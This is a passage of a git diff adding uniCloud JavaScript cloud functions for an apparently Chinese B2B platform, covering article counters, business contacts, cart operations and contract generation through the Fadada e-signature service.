+ // 业务逻辑开始-----------------------------------------------------------
+
+ await vk.baseDao.updateById({
+ dbName: "jjx-article",
+ id: data.id,
+ dataJson: {
+ downloadNum: _.inc(1)
+ }
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/article/list/pub/addView.js b/uniCloud-tcb/cloudfunctions/router/service/client/article/list/pub/addView.js
new file mode 100644
index 0000000..92a2ca2
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/article/list/pub/addView.js
@@ -0,0 +1,28 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/article/list/pub/addView 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+
+ await vk.baseDao.updateById({
+ dbName: "jjx-article",
+ id: data.id,
+ dataJson: {
+ viewNum: _.inc(1)
+ }
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/article/list/pub/getDetail.js b/uniCloud-tcb/cloudfunctions/router/service/client/article/list/pub/getDetail.js
new file mode 100644
index 0000000..e78b151
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/article/list/pub/getDetail.js
@@ -0,0 +1,35 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/otherArticle/list/pub/getDetail 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+
+ // await vk.baseDao.update({
+ // dbName: "uni-id-users",
+ // whereJson:{
+ // remainArticleDownloadNum: 0
+ // },
+ // dataJson:{
+ // remainArticleDownloadNum: 3
+ // },
+ // })
+
+ res = await vk.baseDao.findById({
+ dbName: "jjx-article",
+ id: data.id,
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/article/list/pub/getList.js b/uniCloud-tcb/cloudfunctions/router/service/client/article/list/pub/getList.js
new file mode 100644
index 0000000..e8d7f3a
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/article/list/pub/getList.js
@@ -0,0 +1,35 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/article/list/pub/getList 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+ const {pageIndex, pageSize, parentId, keyword} = data
+ const whereJson = {parentId}
+ if (vk.pubfn.isNotNull(keyword)) {
+ whereJson.name = new RegExp(keyword)
+ }
+ res = await vk.baseDao.select({
+ dbName: 'jjx-article',
+ getCount: true,
+ pageIndex,
+ pageSize,
+ whereJson,
+ sortArr: [
+ {name: "_id", type: "desc"}
+ ],
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/businessContact/kh/action.js b/uniCloud-tcb/cloudfunctions/router/service/client/businessContact/kh/action.js
new file mode 100644
index 0000000..a955919
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/businessContact/kh/action.js
@@ -0,0 +1,40 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/factory/kh/addUpdate 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid, _id, position, phone, name, email, idCard} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ if (vk.pubfn.isNotNull(_id)) {
+ await vk.baseDao.update({
+ dbName: 'jjx-business-contact',
+ whereJson: {
+ _id,
+ uid
+ },
+ dataJson: {
+ position, phone, name, email, idCard
+ }
+ })
+ }else {
+ await vk.baseDao.add({
+ dbName: 'jjx-business-contact',
+ dataJson: {
+ uid,
+ position, phone, name, email, idCard
+ }
+ })
+ }
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/businessContact/kh/delete.js b/uniCloud-tcb/cloudfunctions/router/service/client/businessContact/kh/delete.js
new file mode 100644
index 0000000..3718d18
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/businessContact/kh/delete.js
@@ -0,0 +1,26 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/factory/kh/addUpdate 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid, _id} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ await vk.baseDao.del({
+ dbName: "jjx-business-contact",
+ whereJson: {
+ uid, _id
+ }
+ });
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/businessContact/kh/getList.js b/uniCloud-tcb/cloudfunctions/router/service/client/businessContact/kh/getList.js
new file mode 100644
index 0000000..face647
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/businessContact/kh/getList.js
@@ -0,0 +1,26 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/factory/kh/addUpdate 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ res = await vk.baseDao.selects({
+ dbName: "jjx-business-contact",
+ whereJson: {
+ uid
+ }
+ });
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/cart/kh/add.js b/uniCloud-tcb/cloudfunctions/router/service/client/cart/kh/add.js
new file mode 100644
index 0000000..d8ca73b
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/cart/kh/add.js
@@ -0,0 +1,51 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/cart/kh/add 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ const inCart = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-cart",
+ whereJson: {
+ uid,
+ goodsId: data.goodsId,
+ skuId: data.skuId,
+ }
+ });
+ console.log('inCart', inCart)
+ if (inCart) {
+ const res = await vk.baseDao.updateById({
+ dbName: "jjx-cart",
+ id: inCart._id,
+ dataJson: {
+ num: _.inc(1)
+ }
+ })
+ console.log('res2', res)
+ } else {
+ const res = await vk.baseDao.add({
+ dbName: "jjx-cart",
+ dataJson: {
+ num: data.num,
+ goodsId: data.goodsId,
+ skuId: data.skuId,
+ uid
+ }
+ })
+ console.log('res1', res)
+ }
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/cart/kh/changeNum.js b/uniCloud-tcb/cloudfunctions/router/service/client/cart/kh/changeNum.js
new file mode 100644
index 0000000..009d9c3
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/cart/kh/changeNum.js
@@ -0,0 +1,27 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/cart/kh/changeNum 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ await vk.baseDao.updateById({
+ dbName: "jjx-cart",
+ id: data.id,
+ dataJson: {
+ num: data.num,
+ }
+ });
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/cart/kh/delete.js b/uniCloud-tcb/cloudfunctions/router/service/client/cart/kh/delete.js
new file mode 100644
index 0000000..f07bde4
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/cart/kh/delete.js
@@ -0,0 +1,27 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/cart/kh/delete 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+ await vk.baseDao.del({
+ dbName: "jjx-cart",
+ whereJson: {
+ uid,
+ _id: _.in(data.ids)
+ }
+ })
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/cart/kh/getList.js b/uniCloud-tcb/cloudfunctions/router/service/client/cart/kh/getList.js
new file mode 100644
index 0000000..a359c92
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/cart/kh/getList.js
@@ -0,0 +1,49 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/cart/kh/getList 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ res = await vk.baseDao.selects({
+ dbName: "jjx-cart",
+ getCount: true,
+ whereJson: {
+ uid
+ },
+ pageIndex: 1,
+ pageSize: 500
+ })
+
+ // ,
+ // foreignDB: [
+ // {
+ // dbName: "jjx-goods",
+ // localKey: "goodsId",
+ // foreignKey: "_id",
+ // as: "goods",
+ // limit: 1
+ // }
+ // ]
+
+ for (let i in res.rows) {
+ res.rows[i].goods = await vk.baseDao.findById({
+ dbName: 'jjx-goods',
+ id: res.rows[i].goodsId
+ })
+
+ res.rows[i].sku = res.rows[i].goods.sku.find(item => item._index === res.rows[i].skuId)
+ }
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/cart/kh/getNum.js b/uniCloud-tcb/cloudfunctions/router/service/client/cart/kh/getNum.js
new file mode 100644
index 0000000..76c0697
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/cart/kh/getNum.js
@@ -0,0 +1,27 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/cart/kh/getNum 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ res.data = await vk.baseDao.count({
+ dbName: "jjx-cart",
+ getCount: true,
+ whereJson: {
+ uid
+ }
+ })
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/contract/kh/add.js b/uniCloud-tcb/cloudfunctions/router/service/client/contract/kh/add.js
new file mode 100644
index 0000000..89aa0cf
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/contract/kh/add.js
@@ -0,0 +1,431 @@
+'use strict';
+const dbName = require("../../../../dao/config");
+const dayjs = require("dayjs");
+var isBetween = require('dayjs/plugin/isBetween')
+dayjs.extend(isBetween)
+
+const PROCESS_PAY_METHOD = ['预付', '货到验收后付款', '提货付全款', '信誉采购,货到签单后账期:']
+const WRITE_INVOICE_TIME = ['付款当月(限20号之前付款,20号之后付款次月开票)', '付款后次月', '付款前']
+const INVOICE_TYPE = ['增值税专用发票13%', '增值税普通发票', '普通发票']
+
+module.exports = {
+ /**
+ * 新增合同
+ * @url client/contract/kh/add 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ // await vk.baseDao.updateById({
+ // dbName: 'jjx-process-sheet',
+ // id: data.sheetId,
+ // dataJson: {
+ // status: 1
+ // }
+ // })
+ const quote = await vk.baseDao.updateAndReturn({
+ dbName: 'jjx-process-quote',
+ whereJson: {
+ _id: data.quoteId
+ },
+ dataJson: {
+ status: 1
+ }
+ })
+
+ // const quote = await vk.baseDao.findById({
+ // dbName: 'jjx-process-quote',
+ // id: data.quoteId
+ // })
+
+ const sheet = await vk.baseDao.updateAndReturn({
+ dbName: 'jjx-process-sheet',
+ whereJson: {
+ _id: quote.sheetId
+ },
+ dataJson: {
+ otherUid: data.seller,
+ status: 1
+ }
+ })
+
+ const checkMessage = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-message-config",
+ whereJson: {
+ process: true,
+ uid: quote.userId
+ }
+ })
+
+ if (checkMessage && sheet) {
+ let send = true
+ if (checkMessage) {
+ // if (checkMessage.doNotDisturbRange && checkMessage.doNotDisturbRange[0]) {
+ // const date = dayjs().format("YYYY-MM-DD")
+ // const doNotDisturbRangeStart = dayjs(checkMessage.doNotDisturbRange[0]).format("HH:mm")
+ // const doNotDisturbRangeEnd = dayjs(checkMessage.doNotDisturbRange[1]).format("HH:mm")
+ // if (dayjs().isBetween(dayjs(`${date} ${doNotDisturbRangeStart}`), dayjs(`${date} ${doNotDisturbRangeEnd}`)))
+ // send = false
+ // }
+ const date = dayjs().format("YYYY-MM-DD")
+ if (checkMessage.doNotDisturbStart && checkMessage.doNotDisturbStart.length) {
+ const doNotDisturbRangeStart = dayjs(`${date} ${checkMessage.doNotDisturbStart[0]}:${checkMessage.doNotDisturbStart[1]}`).format("HH:mm")
+ const doNotDisturbRangeEnd = dayjs(`${date} ${checkMessage.doNotDisturbEnd[0]}:${checkMessage.doNotDisturbEnd[1]}`).format("HH:mm")
+ if (dayjs().isBetween(dayjs(`${date} ${doNotDisturbRangeStart}`), dayjs(`${date} ${doNotDisturbRangeEnd}`)))
+ send = false
+ }
+ }
+ if (send) {
+ await vk.baseDao.add({
+ dbName: "jjx-message",
+ dataJson: {
+ uid: quote.userId,
+ title: `加工:${sheet.title}被选商`,
+ content: `您报价的加工信息已被选商,赶紧去签合同吧`,
+ type: 'contract',
+ hasRead: false,
+ pk: quote.sheetId
+ }
+ });
+ await pubFun.sendNotifySms(quote.userId, 'SMS_474210523')
+ }
+ }
+
+ if (sheet.signMethod !== 1) {
+ const fadadaContractId = vk.pubfn.createOrderNo("P", 20)
+ let contractTransactionId = vk.pubfn.createOrderNo("C", 20)
+ data.transactionId = contractTransactionId
+ const contractId = await vk.baseDao.add({
+ dbName: 'jjx-contract',
+ dataJson: {
+ ...data, ...{
+ fadadaContractId,
+ status: 0,
+ userId: uid,
+ changeNum: 0,
+ tradeMethod: sheet.tradeMethod
+ }
+ }
+ })
+
+ await vk.daoCenter.userContractDao.adds([
+ {
+ transactionId: vk.pubfn.createOrderNo("P", 20),
+ userId: uid,
+ role: 'buyer',
+ sign: false,
+ contractId,
+ },
+ {
+ transactionId: vk.pubfn.createOrderNo("P", 20),
+ userId: data.seller,
+ role: 'seller',
+ sign: false,
+ contractId,
+ }
+ ])
+
+ // 标准合同
+ if (sheet.signMethod === 0) {
+
+ const templateId = await vk.baseDao.findById({
+ dbName: 'jjx-dict',
+ id: '80e3bed065a5560e075799d24532b14f'
+ })
+ const buyerSignKeyword = await vk.baseDao.findById({
+ dbName: 'jjx-dict',
+ id: '0b153f9a65a56a2007227cf5157133bf'
+ })
+ const sellerSignKeyword = await vk.baseDao.findById({
+ dbName: 'jjx-dict',
+ id: '09e7876865a56a320731cb244bbef818'
+ })
+ const signMaxDate = await vk.baseDao.findById({
+ dbName: 'jjx-dict',
+ id: '657d78958b0da41d311bd94c'
+ })
+ const signEndDate = vk.pubfn.getOffsetTime(new Date(), {
+ day: parseInt(signMaxDate.content),
+ mode: "after",
+ });
+ // const fieldList = await vk.baseDao.select({
+ // dbName: 'jjx-contract-template',
+ // whereJson: {
+ // isOn: true
+ // }
+ // })
+ const sellerUser = await vk.baseDao.findById({
+ dbName: 'uni-id-users',
+ id: quote.userId
+ })
+ const buyerUser = await vk.baseDao.findById({
+ dbName: 'uni-id-users',
+ id: uid
+ })
+
+ let tradeInfo = PROCESS_PAY_METHOD[sheet.payMethod]
+ if (sheet.payMethod === 0) tradeInfo += `${sheet.advancePayRate}%货到付全款`
+ if (sheet.payMethod === 3) tradeInfo += `${sheet.reputationPayDay}天`
+ tradeInfo += `,${sheet.invoice ? '含税' : '不含税'},`
+ if (sheet.invoiceOther) tradeInfo += `,${sheet.invoiceOther}`
+ else {
+ if (sheet.taxType && sheet.invoiceType && sheet.taxRate) tradeInfo += `,${sheet.taxType},${sheet.invoiceType},${sheet.taxRate}`
+ }
+ // tradeInfo += `,${INVOICE_TYPE[sheet.invoiceType]}${sheet.invoiceOther ? sheet.invoiceOther : '无'}`
+ let expressRequire = ''
+ expressRequire += `随货资料:${sheet.transportDocuments.join()},其他要求:${sheet.otherTransportDocuments ? sheet.otherTransportDocuments : '无'},运输限制要求:${sheet.transportLimit ? '有' : '无'}`
+ if (sheet.transportLimit && sheet.otherTransportRequest) expressRequire += `运输限制说明:${sheet.otherTransportRequest}`
+ let region = sheet.addressRegion.province.name + sheet.addressRegion.city.name + sheet.addressRegion.area.name
+ // if (sheet.type === 'process') {
+ if (buyerUser.accountType === 2 && buyerUser.company && buyerUser.company.addressRegion && buyerUser.company.addressRegion.province) {
+ region = buyerUser.company.addressRegion.province.name + buyerUser.company.addressRegion.city.name + buyerUser.company.addressRegion.area.name
+ }
+ if (buyerUser.accountType === 1 && buyerUser.person && buyerUser.person.addressRegion && buyerUser.person.addressRegion.province) {
+ region = buyerUser.person.addressRegion.province.name + buyerUser.person.addressRegion.city.name + buyerUser.person.addressRegion.area.name
+ }
+
+ // }
+ // console.log(buyerUser)
+ const accountType = sheet.invoice ? 'company' : 'person'
+ const buyerBank = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-account",
+ whereJson: {
+ uid: buyerUser._id,
+ type: accountType
+ }
+ })
+ let buyerBankName = buyerUser.accountType === 2 ? buyerUser.company.companyBankName : buyerUser.person.personBankName
+ let buyerAccount = buyerUser.accountType === 2 ? buyerUser.company.companyAccount : buyerUser.person.personAccount
+ let buyerBankAccountName = buyerUser.accountType === 2 ? buyerUser.company.companyAccount : buyerUser.person.personAccount
+ let sellerBankName = sellerUser.accountType === 2 ? sellerUser.company.companyBankName : sellerUser.person.personBankName
+ let sellerAccount = sellerUser.accountType === 2 ? sellerUser.company.companyAccount : sellerUser.person.personAccount
+ let sellerBankAccountName = sellerUser.accountType === 2 ? sellerUser.company.companyAccount : sellerUser.person.personAccount
+ if (buyerBank) {
+ buyerBankName = buyerBank.bankName
+ buyerAccount = buyerBank.account
+ buyerBankAccountName = buyerBank.accountName
+ }
+ const sellerBank = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-account",
+ whereJson: {
+ uid: sellerUser._id,
+ type: accountType
+ }
+ })
+ if (sellerBank) {
+ sellerBankName = sellerBank.bankName
+ sellerAccount = sellerBank.account
+ sellerBankAccountName = sellerBank.accountName
+ }
+
+ const parameter = {
+ seller: sellerUser.accountType === 2 ? sellerUser.company.companyName : sellerUser.person.personName,
+ buyer: buyerUser.accountType === 2 ? buyerUser.company.companyName : buyerUser.person.personName,
+ date: dayjs().format('YYYY年MM月DD日'),
+ sellerSignDate: dayjs(signEndDate).format('YYYY年MM月DD日 HH时mm分'),
+ buyerSignDate: dayjs(signEndDate).format('YYYY年MM月DD日 HH时mm分'),
+ contractNo: fadadaContractId,
+ region,
+ detail: sheet.title,
+ info: sheet.remark ? sheet.remark : '无',
+ tradeInfo,
+ expressRequire,
+ defaultDuty: '1.乙方所交产品品种、型号、规格、质量不符合规定的,如果甲方同意利用,应当按质论价;如果甲方不能利用的,应根据产品的具体情况,由乙方负责包换或包修,并承担修理、调换或退货而支付的实际费用;2.乙方不予供货违约责任为甲方的实际损失+违约金,如乙方材料符合订货标准,甲方不能退货和不收货,甲方无条件应按实际本合同订货数量支付100%货款,并支付乙方因此产生的实际费用。带有甲乙双方单位相关收货人和发货人签字的本合同的发货清单事项和内容均视为本合同的补充合同,与本合同有相同的法律效力,双方应共同遵照执行。',
+ solve: '1、凡因本合同引起的或与本合同有关的任何争议,均可友好协商或仲裁解决,协商或仲裁不成的,双方协商同意在合同签订地人民法院管辖地起诉,违约一方或对合同争议承担主要责任的一方,应承担对方因仲裁和起诉而产生的全部律师代理费、鉴定(检验)费、诉讼保全费、诉讼保险费、公告费、差旅费、执行费、误工費和获取证据产生费用等其他相关费用。2、双方本合同相关权利放弃均应有双方书面作出并加盖公章或授权委托人签字后生效。',
+ forceMajeure: '甲乙双方的任何一方由于不可抗力或突发公共事件的原因不能履行合同时,应及时向对方通报不能履行或不能完全履行的理由,以减轻可能给对方造成的损失,在取得有关机构证明以后,允许延期履行、部分履行或者不履行合同,并根据情况可部分或全部免予承担违约责任。',
+ other: '本合同的全部内容由双方平等共同协商一致,共同起草制定,非一方事先拟定,不属于格式条款。本合同自双方签字盖章后生效(包括电子签字、盖章),按本合同内容地址、联系方式寄送的一切文书、函件送达与否,均为视为送达有法律效力,通知途径和本合同内联系方式或地址送达文件双方均予以验证。',
+ buyerSupplement: sheet.supplementary ? sheet.supplementary : '无',
+ sellerSupplement: sheet.supplierExt ? sheet.supplierExt : (quote.remark ? quote.remark : '无'),
+ buyerAddress: buyerUser.accountType === 2 ? buyerUser.company.mailAddress : buyerUser.person.address,
+ sellerAddress: sellerUser.accountType === 2 ? sellerUser.company.mailAddress : sellerUser.person.address,
+ buyerLegal: buyerUser.accountType === 2 ? buyerUser.company.legalName : '',
+ sellerLegal: sellerUser.accountType === 2 ? sellerUser.company.legalName : '',
+ buyerAgent: buyerUser.accountType === 2 ? buyerUser.manager.personName : '',
+ sellerAgent: sellerUser.accountType === 2 ? sellerUser.manager.personName : '',
+ buyerMobile: buyerUser.accountType === 2 ? buyerUser.manager.mobile : buyerUser.mobile,
+ sellerMobile: sellerUser.accountType === 2 ? sellerUser.manager.mobile : sellerUser.mobile,
+ buyerBankName,
+ sellerBankName,
+ buyerAccount,
+ sellerAccount,
+ buyerBankAccountName,
+ sellerBankAccountName,
+ }
+ // for (let i = 0; i < fieldList.length; i++) {
+ //
+ // const field = fieldList[i]
+ // parameter[field.field] = ''
+ // }
+ const uploaddocs = await pubFun.fadada('generate_contract.api', {
+ template_id: templateId.content,
+ contract_id: contractTransactionId,
+ parameter_map: JSON.stringify(parameter)
+ })
+ let otherFileResList = []
+ if (sheet.files && sheet.files.length > 0) {
+ for (let i = 0; i < sheet.files.length; i++) {
+ otherFileResList.push(contractTransactionId + 'f' + i.toString())
+ await pubFun.fadada('uploaddocs.api', {
+ contract_id: contractTransactionId + 'f' + i.toString(),
+ doc_title: sheet.title + `:附件${i + 1}`,
+ doc_url: sheet.files[i],
+ doc_type: '.pdf'
+ })
+ }
+ }
+ if (sheet.multiFiles && sheet.multiFiles.length > 0) {
+ for (let i = 0; i < sheet.multiFiles.length; i++) {
+ otherFileResList.push(contractTransactionId + 'mf' + i.toString())
+ await pubFun.fadada('uploaddocs.api', {
+ contract_id: contractTransactionId + 'mf' + i.toString(),
+ doc_title: sheet.title + `:加工商附件${i + 1}`,
+ doc_url: sheet.multiFiles[i],
+ doc_type: '.pdf'
+ })
+ }
+ // otherFileResList.unshift(contractTransactionId)
+
+ // 合并接口
+ // contractTransactionId = vk.pubfn.createOrderNo("MC", 20)
+ // const mergeRes = await pubFun.fadada('merge_contract.api', {
+ // contract_id: contractTransactionId,
+ // doc_title: sheet.title,
+ // contract_ids: otherFileResList.join()
+ // })
+ // console.log('mergeRes', mergeRes)
+ // console.log('otherFileResList', otherFileResList)
+ }
+ // 存在附件则合并
+
+ if (quote.files && quote.files.length > 0) {
+ for (let i = 0; i < quote.files.length; i++) {
+ otherFileResList.push(contractTransactionId + 'qf' + i.toString())
+ await pubFun.fadada('uploaddocs.api', {
+ contract_id: contractTransactionId + 'qf' + i.toString(),
+ doc_title: sheet.title + `:报价附件${i + 1}`,
+ doc_url: quote.files[i],
+ doc_type: '.pdf'
+ })
+ }
+ // otherFileResList.unshift(contractTransactionId)
+
+ // 合并接口
+ // contractTransactionId = vk.pubfn.createOrderNo("MC", 20)
+ // const mergeRes = await pubFun.fadada('merge_contract.api', {
+ // contract_id: contractTransactionId,
+ // doc_title: sheet.title,
+ // contract_ids: otherFileResList.join()
+ // })
+ // console.log('quote mergeRes', mergeRes)
+ // console.log('quote otherFileResList', otherFileResList)
+ }
+ if (otherFileResList.length) {
+ otherFileResList.unshift(contractTransactionId)
+ // 合并接口
+ contractTransactionId = vk.pubfn.createOrderNo("MC", 20)
+ const mergeRes = await pubFun.fadada('merge_contract.api', {
+ contract_id: contractTransactionId,
+ doc_title: sheet.title,
+ contract_ids: otherFileResList.join()
+ })
+ console.log('mergeRes', mergeRes)
+ console.log('otherFileResList', otherFileResList)
+ }
+ await vk.baseDao.update({
+ dbName: dbName.contract,
+ whereJson: {
+ _id: contractId
+ },
+ dataJson: {
+ transactionId: contractTransactionId,
+ }
+ })
+ if (parseInt(uploaddocs.code) === 1000) {
+ await vk.baseDao.updateAndReturn({
+ dbName: dbName.contract,
+ whereJson: {
+ _id: contractId,
+ userId: uid
+ },
+ dataJson: {
+ status: 1,
+ docTitle: sheet.title,
+ signEndDate,
+ otherFile: '',
+ contractBase: null,
+ buyerSignKeyword: buyerSignKeyword.content,
+ sellerSignKeyword: sellerSignKeyword.content
+ }
+ })
+ // await vk.baseDao.updateAndReturn({
+ // dbName: 'jjx-process-sheet',
+ // whereJson: {
+ // _id: data.sheetId
+ // },
+ // dataJson: {
+ // status: 2
+ // }
+ // })
+
+ res.data = uploaddocs.result
+
+ await vk.baseDao.add({
+ dbName: "jjx-message",
+ dataJson: {
+ uid: quote.userId,
+ title: `加工:${sheet.title}待签合同`,
+ content: `您报价的加工信息已创建合同,赶紧去签订合同吧`,
+ type: 'contract',
+ hasRead: false,
+ pk: quote.sheetId
+ }
+ });
+ await pubFun.sendNotifySms(quote.userId, 'SMS_474295535')
+ } else {
+ return {
+ code: -1,
+ msg: uploaddocs.msg
+ }
+ }
+ }
+ } else {
+ const orderId = await vk.baseDao.add({
+ dbName: "jjx-order",
+ dataJson: {
+ orderNo: vk.pubfn.createOrderNo("39XU", 20),
+ uid: uid,
+ sellerUid: quote.userId,
+ orderStatus: 0,
+ payStatus: 0,
+ type: 5,
+ amount: quote.totalPrice,
+ offAmount: quote.totalPrice,
+ signMethod: 1,
+ sheetId: quote.sheetId
+ }
+ })
+
+ await vk.baseDao.add({
+ dbName: "jjx-order-goods",
+ dataJson: {
+ orderId,
+ goodsId: null,
+ num: 1,
+ goodsName: '加工单',
+ goodsPrice: quote.totalPrice,
+ goodsCover: null,
+ }
+ })
+ }
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/contract/kh/addSign.js b/uniCloud-tcb/cloudfunctions/router/service/client/contract/kh/addSign.js
new file mode 100644
index 0000000..2cfb405
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/contract/kh/addSign.js
@@ -0,0 +1,214 @@
+'use strict';
+module.exports = {
+ /**
+ * 新增签约宝合同
+ * @url client/contract/kh/addSign 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ let payByUser = userInfo;
+
+ const otherUser = await vk.baseDao.findByWhereJson({
+ dbName: 'uni-id-users',
+ whereJson: {
+ mobile: data.phone
+ }
+ })
+ if (JSON.stringify(otherUser) === '{}' || !otherUser) return {
+ code: -1,
